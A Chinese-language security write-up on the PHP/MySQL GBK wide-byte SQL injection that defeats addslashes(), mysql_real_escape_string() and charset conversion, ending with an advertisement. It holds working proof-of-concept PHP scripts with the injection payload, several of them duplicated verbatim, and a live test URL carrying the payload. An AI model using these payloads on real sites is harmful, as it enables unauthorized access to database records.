PHP字符编码绕过漏洞总结
其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后
变为0xbf5c27
,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触
发了。
mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相
应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。
方法一:
改变mysql配置文件my.cnf
CODE:
[client]
default-character-set=GBK
default-character-set=GBK
方法二:
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
<?php
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知
道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过
addslashes() 加上的"\"失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
<?php
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);
$sql = "SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);
$sql = "SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*
后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我
最后发下广告,保护伞网络http://www.safe3.cn/提供有偿服务器安全服务。